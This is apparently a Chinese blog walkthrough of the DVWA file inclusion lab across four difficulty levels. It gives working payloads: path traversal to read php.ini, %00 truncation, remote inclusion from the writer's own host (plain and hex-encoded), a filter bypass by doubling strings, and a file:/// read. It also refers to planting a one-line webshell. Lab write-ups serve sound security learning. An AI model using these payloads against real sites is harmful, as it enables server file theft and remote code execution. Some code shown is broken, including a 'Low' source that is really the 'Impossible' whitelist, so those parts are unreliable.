DWVA–File Inclusion

文件包含漏洞

 

先来了解一下什么是文件包含

 

  因为程序开放人员通常会把可重复使用的函数写到单个文件中,在需要使用到这些函数时候,就可以

直接调用这个文件,这种对文件的调用过程就被称为文件包含。

 

文件包含漏洞的成因  

             随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变
量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

PHP中常见的文件包含的函数

Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞分类

 本地文件包含漏洞:

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

 

远程文件包含漏洞:

本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配
置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

 

我们先来简单测试一下,我们创建一个这样的php文件

 

在这个目录下的txt文件也会被当作php文件来执行,我们在同目录下创建一个txt文件

 

 

 

 

接下来我们访问一下这个h.txt在使用id=h.txt

 

可以看到成功把txt文件执行成了php文件,如果我们把该txt写成一句话木马就可以用菜刀连上了,当然这要配合文件上传漏洞来使用了。

 

 

Low

 

先来看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

没有作任何的过滤,直接读取文件,我们有3个选择文件的执行,这三个文件是在include.php文件目录下的三个文件,我们来看一下这3个文件执行结果

 

输出当前用户名,和我们访问的IP,这里是虚拟机网卡的IP

 

 

 输出了一行字 这里说他需要8位数的密码,所以他选择了白雪公主和七个小矮人~

 

 

 

 

 这里输出的是我们访问所用的IP,代理地址,我们访问的服务器IP

 

 

 

 

 

 

我们把page后面修改成linux文件路径报错了,这说明服务器是windows系统,同时也暴露了文件的绝对路径

 

 

我们直接用绝对路径访问php.ini文件来看一下

 

 

 

 

我们还可以用..\..\来跳转到上一级目录直到根目录再来访问

//192.168.94.129/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\phpStudy\WWW\dvwa\php.ini

 

 

 

 配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别

 

也就是//192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini

//192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini%00%20adads.php是等效的

但我们这次的php版本是5.4.45.

这个规则有什么用呢?我们可以使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时前面想读取ini后缀会读取失败,而后面的可以绕过规则成功读取。

 

前面已经说过了allow_url_fopen和allow_url_include为ON的话,可以进行远程文件包含,这里搭载本机的服务器

//192.168.94.129/dvwa/vulnerabilities/fi/?page=//192.168.94.1/index.php

 

成功让本地服务器远程包含!一般是放攻击文件在服务器上。

这样的构造太明显,我们也可以对url进行hex编码

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%34%2e%31%2f%69%6e%64%65%78%2e%70%68%70

 

 

Medium

 

先来看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "//", "//" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

这里使用str_replace函数来对../ ..\  //  // 都替换成了空。

 

这种替换我们通常都可以使用双写来绕过

//192.168.94.129/dvwa/vulnerabilities/fi/?page=htt//p://192.168.94.1/index.php

 

 

 

 

 

也可以用绝对路径来绕过

 

 

 

High

 看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
if( !fnmatch( "file*", $file ) && $file != "include.php" )这个代码是用
fnmatch(pattern,string,flags)函数
pattern 必需 规定要检索的模式
string 必需 规定要检查的字符串或文件
flags 可选

也就是说是当文件不是file开头也不是include.php时候就会报错。也就意味着满足其中一个条件就可以正确执行了

当我们打开一个本地文件时,前面就是file开头

 

 

 

 

接下来就可以构造payload了

//192.168.94.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\php.ini

 

 

 

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 

这里直接就必须是他原本的几种文件名才可以包含了,这里可能需要用文件上传和一些规则利用才能绕过了,现在我还没有办法绕过。

 

 

Tags: